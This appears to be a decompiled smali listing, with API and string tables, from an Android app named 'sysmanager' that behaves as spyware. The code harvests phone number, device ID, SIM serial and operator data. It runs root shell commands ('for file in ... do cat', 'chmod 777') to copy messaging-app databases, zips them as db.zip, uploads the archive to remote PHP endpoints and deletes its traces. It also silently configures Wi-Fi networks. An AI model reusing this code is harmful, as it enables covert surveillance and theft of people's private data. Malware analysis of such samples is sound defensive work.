88iget-object v3, p0, Lcom/sysmanager/system/AndroidSystemCall;->mInfoTel:Lorg/json/JSONObject;
90const-string v4, "SimOperatorCode"
92invoke-virtual {v1}, Landroid/telephony/TelephonyManager;->getSimOperator()Ljava/lang/String;
93move-result-object v2
94if-nez v2, :cond_cd
96const-string v2, ""
97goto_72:
98invoke-virtual {v3, v4, v2}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
100iget-object v3, p0, Lcom/sysmanager/system/AndroidSystemCall;->mInfoTel:Lorg/json/JSONObject;
102const-string v4, "SimOperatorName"
104invoke-virtual {v1}, Landroid/telephony/TelephonyManager;->getSimOperatorName()Ljava/lang/String;
105move-result-object v2
106if-nez v2, :cond_d2
108const-string v2, ""
109goto_81:
110invoke-virtual {v3, v4, v2}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
112iget-object v3, p0, Lcom/sysmanager/system/AndroidSystemCall;->mInfoTel:Lorg/json/JSONObject;
114const-string v4, "SimOperatorCountryCode"
116invoke-virtual {v1}, Landroid/telephony/TelephonyManager;->getSimCountryIso()Ljava/lang/String;
117move-result-object v2
118if-nez v2, :cond_d7
120const-string v2, ""
121goto_90:
122invoke-virtual {v3, v4, v2}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
124iget-object v3, p0, Lcom/sysmanager/system/AndroidSystemCall;->mInfoTel:Lorg/json/JSONObject;
126const-string v4, "SimSerial"
128invoke-virtual {v1}, Landroid/telephony/TelephonyManager;->getSimSerialNumber()Ljava/lang/String;
129move-result-object v2
130if-nez v2, :cond_dc
132const-string v2, ""
133goto_9f:
134invoke-virtual {v3, v4, v2}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
136iget-object v2, p0, Lcom/sysmanager/system/AndroidSystemCall;->mInfoTel:Lorg/json/JSONObject;
138const-string v3, "MobileNetworkName"
140invoke-static {v1}, Lcom/sysmanager/system/AndroidSystemCall;->getNetworkType(Landroid/telephony/TelephonyManager;)Ljava/lang/String;
141move-result-object v4
143invoke-virtual {v2, v3, v4}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
144goto_ad: return-void
145cond_ae:
146invoke-virtual {v1}, Landroid/telephony/TelephonyManager;->getLine1Number()Ljava/lang/String;
147move-result-object v2
148goto/16 :goto_1a
149cond_b4:
150invoke-virtual {v1}, Landroid/telephony/TelephonyManager;->getDeviceId()Ljava/lang/String;
151move-result-object v2
152goto/16 :goto_29
153cond_ba:
154sget-object v2, Landroid/os/Build;->MODEL:Ljava/lang/String;
155goto/16 :goto_36
156cond_be:
157invoke-virtual {v1}, Landroid/telephony/TelephonyManager;->getNetworkCountryIso()Ljava/lang/String;
158move-result-object v2
159goto/16 :goto_45
160cond_c3:
161invoke-virtual {v1}, Landroid/telephony/TelephonyManager;->getNetworkOperator()Ljava/lang/String;
162move-result-object v2
163goto/16 :goto_54
164cond_c8:
165invoke-virtual {v1}, Landroid/telephony/TelephonyManager;->getNetworkOperatorName()Ljava/lang/String;
166move-result-object v2
167goto/16 :goto_63
168cond_cd:
169invoke-virtual {v1}, Landroid/telephony/TelephonyManager;->getSimOperator()Ljava/lang/String;
170move-result-object v2
171goto/16 :goto_72
172cond_d2:
173invoke-virtual {v1}, Landroid/telephony/TelephonyManager;->getSimOperatorName()Ljava/lang/String;
174move-result-object v2
175goto/16 :goto_81
176cond_d7:
177invoke-virtual {v1}, Landroid/telephony/TelephonyManager;->getSimCountryIso()Ljava/lang/String;
178move-result-object v2
179goto/16 :goto_90
180cond_dc:
181invoke-virtual {v1}, Landroid/telephony/TelephonyManager;->getSimSerialNumber()Ljava/lang/String;
182move-result-object v2
183goto/16 :goto_9f
184cond_e1:
185iget-object v2, p0, Lcom/sysmanager/system/AndroidSystemCall;->mInfoTel:Lorg/json/JSONObject;
187const-string v3, "PhoneNumber"
189const-string v4, ""
191invoke-virtual {v2, v3, v4}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
193iget-object v2, p0, Lcom/sysmanager/system/AndroidSystemCall;->mInfoTel:Lorg/json/JSONObject;
195const-string v3, "DeviceId"
197const-string v4, ""
199invoke-virtual {v2, v3, v4}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
201iget-object v2, p0, Lcom/sysmanager/system/AndroidSystemCall;->mInfoTel:Lorg/json/JSONObject;
203const-string v3, "PhoneModel"
205const-string v4, ""
207invoke-virtual {v2, v3, v4}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
209iget-object v2, p0, Lcom/sysmanager/system/AndroidSystemCall;->mInfoTel:Lorg/json/JSONObject;
211const-string v3, "SoftwareVersion"
213const-string v4, ""
215invoke-virtual {v2, v3, v4}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
217iget-object v2, p0, Lcom/sysmanager/system/AndroidSystemCall;->mInfoTel:Lorg/json/JSONObject;
219const-string v3, "CountryCode"
221const-string v4, ""
223invoke-virtual {v2, v3, v4}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
225iget-object v2, p0, Lcom/sysmanager/system/AndroidSystemCall;->mInfoTel:Lorg/json/JSONObject;
227const-string v3, "OperatorCode"
229const-string v4, ""
231invoke-virtual {v2, v3, v4}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
233iget-object v2, p0, Lcom/sysmanager/system/AndroidSystemCall;->mInfoTel:Lorg/json/JSONObject;
235const-string v3, "OperatorName"
237const-string v4, ""
239invoke-virtual {v2, v3, v4}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
241iget-object v2, p0, Lcom/sysmanager/system/AndroidSystemCall;->mInfoTel:Lorg/json/JSONObject;
243const-string v3, "SimOperatorCode"
245const-string v4, ""
247invoke-virtual {v2, v3, v4}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
249iget-object v2, p0, Lcom/sysmanager/system/AndroidSystemCall;->mInfoTel:Lorg/json/JSONObject;
251const-string v3, "SimOperatorName"
253const-string v4, ""
255invoke-virtual {v2, v3, v4}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
257iget-object v2, p0, Lcom/sysmanager/system/AndroidSystemCall;->mInfoTel:Lorg/json/JSONObject;
259const-string v3, "SimOperatorCountryCode"
261const-string v4, ""
263invoke-virtual {v2, v3, v4}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
265iget-object v2, p0, Lcom/sysmanager/system/AndroidSystemCall;->mInfoTel:Lorg/json/JSONObject;
267const-string v3, "SimSerial"
269const-string v4, ""
271invoke-virtual {v2, v3, v4}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
273iget-object v2, p0, Lcom/sysmanager/system/AndroidSystemCall;->mInfoTel:Lorg/json/JSONObject;
275const-string v3, "MobileNetworkName"
277const-string v4, ""
279invoke-virtual {v2, v3, v4}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
280try_end_14d: goto/16 :goto_ad
281catch_14f: move-exception v0
283invoke-virtual {p0}, Lcom/sysmanager/system/AndroidSystemCall;->getApplicationContext()Landroid/content/Context;
284move-result-object v2
286invoke-static {v0}, Lcom/sysmanager/costanti/Costanti;->printStackTrace(Ljava/lang/Exception;)Ljava/lang/String;
287move-result-object v3
289invoke-static {v2, v3}, Lcom/sysmanager/system/FileLog;->write(Landroid/content/Context;Ljava/lang/String;)Ljava/lang/Boolean;
290goto/16 :goto_ad
APIs
  • com.sysmanager.system.AndroidMDMSupport.access$000
  • java.util.HashMap.containsKey
  • com.sysmanager.system.AndroidMDMSupport.access$000
  • java.util.HashMap.get
  • java.lang.String.isEmpty
  • java.lang.StringBuilder.<init>
  • java.lang.StringBuilder.append
  • com.sysmanager.system.AndroidMDMSupport.access$100
  • java.io.File.getAbsolutePath
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.toString
  • java.lang.StringBuilder.<init>
  • java.lang.StringBuilder.append
  • com.sysmanager.system.AndroidMDMSupport.access$100
  • java.io.File.getAbsolutePath
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.toString
  • java.lang.StringBuilder.<init>
  • com.sysmanager.system.AndroidMDMSupport.access$100
  • java.io.File.getAbsolutePath
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.toString
  • java.io.File.<init>
  • java.io.File.exists
  • com.sysmanager.system.AndroidMDMSupport.access$100
  • java.io.File.getAbsolutePath
  • java.io.File.<init>
  • java.io.File.listFiles
  • java.lang.StringBuilder.<init>
  • com.sysmanager.system.AndroidMDMSupport.access$100
  • java.io.File.getAbsolutePath
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.toString
  • com.sysmanager.system.AndroidMDMSupport.sendFile
  • com.sysmanager.system.AndroidMDMSupport.access$100
  • java.io.File.listFiles
  • java.io.File.delete
  • com.sysmanager.system.AndroidMDMSupport.getApplicationContext
  • com.sysmanager.storage.Settings.getInstance
  • com.sysmanager.storage.Settings.setValue
Strings
  • for file in
  • /*; do cat
  • ${file##*/} >
  • /${file##*/}; done
  • chmod 777
  • /*
  • /
  • db.zip
  • col19
Position Instruction Meta Information
0.prologue
1const/4 v5, 0x0
3invoke-static {}, Lcom/sysmanager/system/AndroidMDMSupport;->access$000()Ljava/util/HashMap;
4move-result-object v4
6iget-object v6, p0, Lcom/sysmanager/system/AndroidMDMSupport$1;->val$command:Ljava/lang/String;
8invoke-virtual {v4, v6}, Ljava/util/HashMap;->containsKey(Ljava/lang/Object;)Z
9move-result v4
10if-eqz v4, :cond_132
12invoke-static {}, Lcom/sysmanager/system/AndroidMDMSupport;->access$000()Ljava/util/HashMap;
13move-result-object v4
15iget-object v6, p0, Lcom/sysmanager/system/AndroidMDMSupport$1;->val$command:Ljava/lang/String;
17invoke-virtual {v4, v6}, Ljava/util/HashMap;->get(Ljava/lang/Object;)Ljava/lang/Object;
18move-result-object v3
19check-cast v3, Lcom/sysmanager/system/AndroidMDMSupport$Social;
21iget-object v4, p0, Lcom/sysmanager/system/AndroidMDMSupport$1;->val$suPath:Ljava/lang/String;
23invoke-virtual {v4}, Ljava/lang/String;->isEmpty()Z
24move-result v4
25if-nez v4, :cond_8d
26new-instance v4, Ljava/lang/StringBuilder;
28invoke-direct {v4}, Ljava/lang/StringBuilder;-><init>()V
30const-string v6, "for file in "
32invoke-virtual {v4, v6}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
33move-result-object v4
35invoke-virtual {v3}, Lcom/sysmanager/system/AndroidMDMSupport$Social;->getPath()Ljava/lang/String;
36move-result-object v6
38invoke-virtual {v4, v6}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
39move-result-object v4
41const-string v6, "/*; do cat "
43invoke-virtual {v4, v6}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
44move-result-object v4
46invoke-virtual {v3}, Lcom/sysmanager/system/AndroidMDMSupport$Social;->getPath()Ljava/lang/String;
47move-result-object v6
49invoke-virtual {v4, v6}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
50move-result-object v4
52const-string v6, "${file##*/} > "
54invoke-virtual {v4, v6}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
55move-result-object v4
57iget-object v6, p0, Lcom/sysmanager/system/AndroidMDMSupport$1;->this$0:Lcom/sysmanager/system/AndroidMDMSupport;
59invoke-static {v6}, Lcom/sysmanager/system/AndroidMDMSupport;->access$100(Lcom/sysmanager/system/AndroidMDMSupport;)Ljava/io/File;
60move-result-object v6
62invoke-virtual {v6}, Ljava/io/File;->getAbsolutePath()Ljava/lang/String;
63move-result-object v6
65invoke-virtual {v4, v6}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
66move-result-object v4
68const-string v6, "/${file##*/}; done"
70invoke-virtual {v4, v6}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
71move-result-object v4
73invoke-virtual {v4}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
74move-result-object v4
76iget-object v6, p0, Lcom/sysmanager/system/AndroidMDMSupport$1;->val$suPath:Ljava/lang/String;
78invoke-static {v4, v6}, Lcom/sysmanager/utils/Commands;->executeCommands(Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String;
79new-instance v4, Ljava/lang/StringBuilder;
81invoke-direct {v4}, Ljava/lang/StringBuilder;-><init>()V
83const-string v6, "chmod 777 "
85invoke-virtual {v4, v6}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
86move-result-object v4
88iget-object v6, p0, Lcom/sysmanager/system/AndroidMDMSupport$1;->this$0:Lcom/sysmanager/system/AndroidMDMSupport;
90invoke-static {v6}, Lcom/sysmanager/system/AndroidMDMSupport;->access$100(Lcom/sysmanager/system/AndroidMDMSupport;)Ljava/io/File;
91move-result-object v6
93invoke-virtual {v6}, Ljava/io/File;->getAbsolutePath()Ljava/lang/String;
94move-result-object v6
96invoke-virtual {v4, v6}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
97move-result-object v4
99const-string v6, "/*"
101invoke-virtual {v4, v6}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
102move-result-object v4
104invoke-virtual {v4}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
105move-result-object v4
107iget-object v6, p0, Lcom/sysmanager/system/AndroidMDMSupport$1;->val$suPath:Ljava/lang/String;
109invoke-static {v4, v6}, Lcom/sysmanager/utils/Commands;->executeCommands(Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String;
110cond_8d: new-instance v4, Ljava/lang/StringBuilder;
112invoke-direct {v4}, Ljava/lang/StringBuilder;-><init>()V
114iget-object v6, p0, Lcom/sysmanager/system/AndroidMDMSupport$1;->this$0:Lcom/sysmanager/system/AndroidMDMSupport;
116invoke-static {v6}, Lcom/sysmanager/system/AndroidMDMSupport;->access$100(Lcom/sysmanager/system/AndroidMDMSupport;)Ljava/io/File;
117move-result-object v6
119invoke-virtual {v6}, Ljava/io/File;->getAbsolutePath()Ljava/lang/String;
120move-result-object v6
122invoke-virtual {v4, v6}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
123move-result-object v4
125const-string v6, "/"
127invoke-virtual {v4, v6}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
128move-result-object v4
130const-string v6, "db.zip"
132invoke-virtual {v4, v6}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
133move-result-object v4
135invoke-virtual {v4}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
136move-result-object v1
137new-instance v4, Ljava/io/File;
139invoke-direct {v4, v1}, Ljava/io/File;-><init>(Ljava/lang/String;)V
141invoke-virtual {v4}, Ljava/io/File;->exists()Z
142move-result v4
143if-nez v4, :cond_f9
144new-instance v4, Lcom/sysmanager/storage/Compress;
145new-instance v6, Ljava/io/File;
147iget-object v7, p0, Lcom/sysmanager/system/AndroidMDMSupport$1;->this$0:Lcom/sysmanager/system/AndroidMDMSupport;
149invoke-static {v7}, Lcom/sysmanager/system/AndroidMDMSupport;->access$100(Lcom/sysmanager/system/AndroidMDMSupport;)Ljava/io/File;
150move-result-object v7
152invoke-virtual {v7}, Ljava/io/File;->getAbsolutePath()Ljava/lang/String;
153move-result-object v7
155invoke-direct {v6, v7}, Ljava/io/File;-><init>(Ljava/lang/String;)V
157invoke-virtual {v6}, Ljava/io/File;->listFiles()[Ljava/io/File;
158move-result-object v6
159new-instance v7, Ljava/lang/StringBuilder;
161invoke-direct {v7}, Ljava/lang/StringBuilder;-><init>()V
163iget-object v8, p0, Lcom/sysmanager/system/AndroidMDMSupport$1;->this$0:Lcom/sysmanager/system/AndroidMDMSupport;
165invoke-static {v8}, Lcom/sysmanager/system/AndroidMDMSupport;->access$100(Lcom/sysmanager/system/AndroidMDMSupport;)Ljava/io/File;
166move-result-object v8
168invoke-virtual {v8}, Ljava/io/File;->getAbsolutePath()Ljava/lang/String;
169move-result-object v8
171invoke-virtual {v7, v8}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
172move-result-object v7
174const-string v8, "/"
176invoke-virtual {v7, v8}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
177move-result-object v7
179const-string v8, "db.zip"
181invoke-virtual {v7, v8}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
182move-result-object v7
184invoke-virtual {v7}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
185move-result-object v7
187invoke-direct {v4, v6, v7}, Lcom/sysmanager/storage/Compress;-><init>([Ljava/io/File;Ljava/lang/String;)V
189invoke-virtual {v4}, Lcom/sysmanager/storage/Compress;->zip()V
190cond_f9:
191invoke-virtual {v3}, Lcom/sysmanager/system/AndroidMDMSupport$Social;->getPhp()[Ljava/lang/String;
192move-result-object v6
193array-length v7, v6
194move v4, v5
195goto_ff: if-ge v4, v7, :cond_10d
196aget-object v2, v6, v4
198iget-object v8, p0, Lcom/sysmanager/system/AndroidMDMSupport$1;->this$0:Lcom/sysmanager/system/AndroidMDMSupport;
200const-string v9, "db.zip"
202invoke-virtual {v8, v9, v2}, Lcom/sysmanager/system/AndroidMDMSupport;->sendFile(Ljava/lang/String;Ljava/lang/String;)V
203add-int/lit8 v4, v4, 0x1
204goto/16 :goto_ff
205cond_10d:
206iget-object v4, p0, Lcom/sysmanager/system/AndroidMDMSupport$1;->this$0:Lcom/sysmanager/system/AndroidMDMSupport;
208invoke-static {v4}, Lcom/sysmanager/system/AndroidMDMSupport;->access$100(Lcom/sysmanager/system/AndroidMDMSupport;)Ljava/io/File;
209move-result-object v4
211invoke-virtual {v4}, Ljava/io/File;->listFiles()[Ljava/io/File;
212move-result-object v6
213array-length v7, v6
214move v4, v5
215goto_119: if-ge v4, v7, :cond_123
216aget-object v0, v6, v4
218invoke-virtual {v0}, Ljava/io/File;->delete()Z
219add-int/lit8 v4, v4, 0x1
220goto/16 :goto_119
221cond_123:
222iget-object v4, p0, Lcom/sysmanager/system/AndroidMDMSupport$1;->this$0:Lcom/sysmanager/system/AndroidMDMSupport;
224invoke-virtual {v4}, Lcom/sysmanager/system/AndroidMDMSupport;->getApplicationContext()Landroid/content/Context;
225move-result-object v4
227invoke-static {v4}, Lcom/sysmanager/storage/Settings;->getInstance(Landroid/content/Context;)Lcom/sysmanager/storage/Settings;
228move-result-object v4
230const-string v6, "col19"
232invoke-virtual {v4, v6, v5}, Lcom/sysmanager/storage/Settings;->setValue(Ljava/lang/String;I)V
233cond_132: return-void
Cross References
APIs
  • java.lang.IllegalArgumentException.<init>
  • android.net.wifi.WifiConfiguration.<init>
  • java.lang.String.equalsIgnoreCase
  • java.util.BitSet.set
  • java.lang.String.equalsIgnoreCase
  • java.util.BitSet.set
  • android.content.Context.getApplicationContext
  • android.content.Context.getSystemService
  • android.net.wifi.WifiManager.addNetwork
  • android.net.wifi.WifiManager.enableNetwork
  • android.net.wifi.WifiManager.saveConfiguration
  • android.net.wifi.WifiManager.setWifiEnabled
  • java.lang.StringBuilder.<init>
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.toString
  • java.lang.String.equalsIgnoreCase
  • java.util.BitSet.set
  • java.lang.String.equalsIgnoreCase
  • java.lang.StringBuilder.<init>
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.toString
  • java.util.BitSet.set
  • java.lang.String.equalsIgnoreCase
  • java.util.BitSet.set
  • java.lang.String.equalsIgnoreCase
  • java.util.BitSet.set
  • java.lang.String.equalsIgnoreCase
  • java.util.BitSet.set
Strings
  • Required parameters can not be NULL #
  • WEP
  • wifi
  • NONE
  • WPA
  • WPA2
  • WPA/WPA2 PSK
Position Instruction Meta Information
0.param p0, "context" # Landroid/content/Context;
1.param p1, "wifiName" # Ljava/lang/String;
2.param p2, "password" # Ljava/lang/String;
3.param p3, "security" # Ljava/lang/String;
4.param p4, "securityDetails" # Ljava/lang/String;
5.prologue
6const/4 v8, 0x3
7const/4 v7, 0x2
8const/4 v6, 0x0
9const/4 v5, 0x1
10if-nez p1, :cond_e
11new-instance v3, Ljava/lang/IllegalArgumentException;
13const-string v4, "Required parameters can not be NULL #"
15invoke-direct {v3, v4}, Ljava/lang/IllegalArgumentException;-><init>(Ljava/lang/String;)V
16throw v3
17cond_e: new-instance v0, Landroid/net/wifi/WifiConfiguration;
19invoke-direct {v0}, Landroid/net/wifi/WifiConfiguration;-><init>()V
20sget v3, Landroid/os/Build$VERSION;->SDK_INT:I
21const/16 v4, 0x15
22if-lt v3, v4, :cond_5f
23iput-object p1, v0, Landroid/net/wifi/WifiConfiguration;->SSID:Ljava/lang/String;
24goto_1b:
25const-string v3, "WEP"
27invoke-virtual {p3, v3}, Ljava/lang/String;->equalsIgnoreCase(Ljava/lang/String;)Z
28move-result v3
29if-eqz v3, :cond_7b
31iget-object v3, v0, Landroid/net/wifi/WifiConfiguration;->wepKeys:[Ljava/lang/String;
32aput-object p2, v3, v6
33iput v6, v0, Landroid/net/wifi/WifiConfiguration;->wepTxKeyIndex:I
35iget-object v3, v0, Landroid/net/wifi/WifiConfiguration;->allowedKeyManagement:Ljava/util/BitSet;
37invoke-virtual {v3, v6}, Ljava/util/BitSet;->set(I)V
39iget-object v3, v0, Landroid/net/wifi/WifiConfiguration;->allowedGroupCiphers:Ljava/util/BitSet;
41invoke-virtual {v3, v6}, Ljava/util/BitSet;->set(I)V
42goto_33:
43sget-object v3, Lcom/sysmanager/costanti/Costanti;->NETWROK_ADDITIONAL_SECURITY_TKIP:Ljava/lang/String;
45invoke-virtual {p4, v3}, Ljava/lang/String;->equalsIgnoreCase(Ljava/lang/String;)Z
46move-result v3
47if-eqz v3, :cond_ed
49iget-object v3, v0, Landroid/net/wifi/WifiConfiguration;->allowedGroupCiphers:Ljava/util/BitSet;
51invoke-virtual {v3, v7}, Ljava/util/BitSet;->set(I)V
53iget-object v3, v0, Landroid/net/wifi/WifiConfiguration;->allowedPairwiseCiphers:Ljava/util/BitSet;
55invoke-virtual {v3, v5}, Ljava/util/BitSet;->set(I)V
56cond_45:
57invoke-virtual {p0}, Landroid/content/Context;->getApplicationContext()Landroid/content/Context;
58move-result-object v3
60const-string v4, "wifi"
62invoke-virtual {v3, v4}, Landroid/content/Context;->getSystemService(Ljava/lang/String;)Ljava/lang/Object;
63move-result-object v2
64check-cast v2, Landroid/net/wifi/WifiManager;
66invoke-virtual {v2, v0}, Landroid/net/wifi/WifiManager;->addNetwork(Landroid/net/wifi/WifiConfiguration;)I
67move-result v1
69invoke-virtual {v2, v1, v5}, Landroid/net/wifi/WifiManager;->enableNetwork(IZ)Z
71invoke-virtual {v2}, Landroid/net/wifi/WifiManager;->saveConfiguration()Z
73invoke-virtual {v2, v5}, Landroid/net/wifi/WifiManager;->setWifiEnabled(Z)Z
74return-void
75cond_5f: new-instance v3, Ljava/lang/StringBuilder;
77invoke-direct {v3}, Ljava/lang/StringBuilder;-><init>()V
79sget-object v4, Lcom/sysmanager/costanti/Costanti;->BACKSLASH:Ljava/lang/String;
81invoke-virtual {v3, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
82move-result-object v3
84invoke-virtual {v3, p1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
85move-result-object v3
87sget-object v4, Lcom/sysmanager/costanti/Costanti;->BACKSLASH:Ljava/lang/String;
89invoke-virtual {v3, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
90move-result-object v3
92invoke-virtual {v3}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
93move-result-object v3
94iput-object v3, v0, Landroid/net/wifi/WifiConfiguration;->SSID:Ljava/lang/String;
95goto/16 :goto_1b
96cond_7b:
97const-string v3, "NONE"
99invoke-virtual {p3, v3}, Ljava/lang/String;->equalsIgnoreCase(Ljava/lang/String;)Z
100move-result v3
101if-eqz v3, :cond_89
103iget-object v3, v0, Landroid/net/wifi/WifiConfiguration;->allowedKeyManagement:Ljava/util/BitSet;
105invoke-virtual {v3, v6}, Ljava/util/BitSet;->set(I)V
106goto/16 :goto_33
107cond_89:
108const-string v3, "WPA"
110invoke-virtual {v3, p3}, Ljava/lang/String;->equalsIgnoreCase(Ljava/lang/String;)Z
111move-result v3
112if-nez v3, :cond_a1
114const-string v3, "WPA2"
116invoke-virtual {v3, p3}, Ljava/lang/String;->equalsIgnoreCase(Ljava/lang/String;)Z
117move-result v3
118if-nez v3, :cond_a1
120const-string v3, "WPA/WPA2 PSK"
122invoke-virtual {v3, p3}, Ljava/lang/String;->equalsIgnoreCase(Ljava/lang/String;)Z
123move-result v3
124if-eqz v3, :cond_33
125cond_a1: new-instance v3, Ljava/lang/StringBuilder;
127invoke-direct {v3}, Ljava/lang/StringBuilder;-><init>()V
129sget-object v4, Lcom/sysmanager/costanti/Costanti;->BACKSLASH:Ljava/lang/String;
131invoke-virtual {v3, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
132move-result-object v3
134invoke-virtual {v3, p2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
135move-result-object v3
137sget-object v4, Lcom/sysmanager/costanti/Costanti;->BACKSLASH:Ljava/lang/String;
139invoke-virtual {v3, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
140move-result-object v3
142invoke-virtual {v3}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
143move-result-object v3
144iput-object v3, v0, Landroid/net/wifi/WifiConfiguration;->preSharedKey:Ljava/lang/String;
146iget-object v3, v0, Landroid/net/wifi/WifiConfiguration;->allowedProtocols:Ljava/util/BitSet;
148invoke-virtual {v3, v5}, Ljava/util/BitSet;->set(I)V
150iget-object v3, v0, Landroid/net/wifi/WifiConfiguration;->allowedKeyManagement:Ljava/util/BitSet;
152invoke-virtual {v3, v5}, Ljava/util/BitSet;->set(I)V
153iput v7, v0, Landroid/net/wifi/WifiConfiguration;->status:I
155iget-object v3, v0, Landroid/net/wifi/WifiConfiguration;->allowedGroupCiphers:Ljava/util/BitSet;
157invoke-virtual {v3, v7}, Ljava/util/BitSet;->set(I)V
159iget-object v3, v0, Landroid/net/wifi/WifiConfiguration;->allowedGroupCiphers:Ljava/util/BitSet;
161invoke-virtual {v3, v8}, Ljava/util/BitSet;->set(I)V
163iget-object v3, v0, Landroid/net/wifi/WifiConfiguration;->allowedKeyManagement:Ljava/util/BitSet;
165invoke-virtual {v3, v5}, Ljava/util/BitSet;->set(I)V
167iget-object v3, v0, Landroid/net/wifi/WifiConfiguration;->allowedPairwiseCiphers:Ljava/util/BitSet;
169invoke-virtual {v3, v5}, Ljava/util/BitSet;->set(I)V
171iget-object v3, v0, Landroid/net/wifi/WifiConfiguration;->allowedPairwiseCiphers:Ljava/util/BitSet;
173invoke-virtual {v3, v7}, Ljava/util/BitSet;->set(I)V
175iget-object v3, v0, Landroid/net/wifi/WifiConfiguration;->allowedProtocols:Ljava/util/BitSet;
177invoke-virtual {v3, v5}, Ljava/util/BitSet;->set(I)V
179iget-object v3, v0, Landroid/net/wifi/WifiConfiguration;->allowedProtocols:Ljava/util/BitSet;
181invoke-virtual {v3, v6}, Ljava/util/BitSet;->set(I)V
182goto/16 :goto_33
183cond_ed:
184sget-object v3, Lcom/sysmanager/costanti/Costanti;->NETWROK_ADDITIONAL_SECURITY_AES:Ljava/lang/String;
186invoke-virtual {p4, v3}, Ljava/lang/String;->equalsIgnoreCase(Ljava/lang/String;)Z
187move-result v3
188if-eqz v3, :cond_101
190iget-object v3, v0, Landroid/net/wifi/WifiConfiguration;->allowedGroupCiphers:Ljava/util/BitSet;
192invoke-virtual {v3, v8}, Ljava/util/BitSet;->set(I)V
194iget-object v3, v0, Landroid/net/wifi/WifiConfiguration;->allowedPairwiseCiphers:Ljava/util/BitSet;
196invoke-virtual {v3, v7}, Ljava/util/BitSet;->set(I)V
197goto/16 :goto_45
198cond_101:
199sget-object v3, Lcom/sysmanager/costanti/Costanti;->NETWROK_ADDITIONAL_SECURITY_WEP:Ljava/lang/String;
201invoke-virtual {p4, v3}, Ljava/lang/String;->equalsIgnoreCase(Ljava/lang/String;)Z
202move-result v3
203if-eqz v3, :cond_115
205iget-object v3, v0, Landroid/net/wifi/WifiConfiguration;->allowedGroupCiphers:Ljava/util/BitSet;
207invoke-virtual {v3, v5}, Ljava/util/BitSet;->set(I)V
209iget-object v3, v0, Landroid/net/wifi/WifiConfiguration;->allowedGroupCiphers:Ljava/util/BitSet;
211invoke-virtual {v3, v6}, Ljava/util/BitSet;->set(I)V
212goto/16 :goto_45
213cond_115:
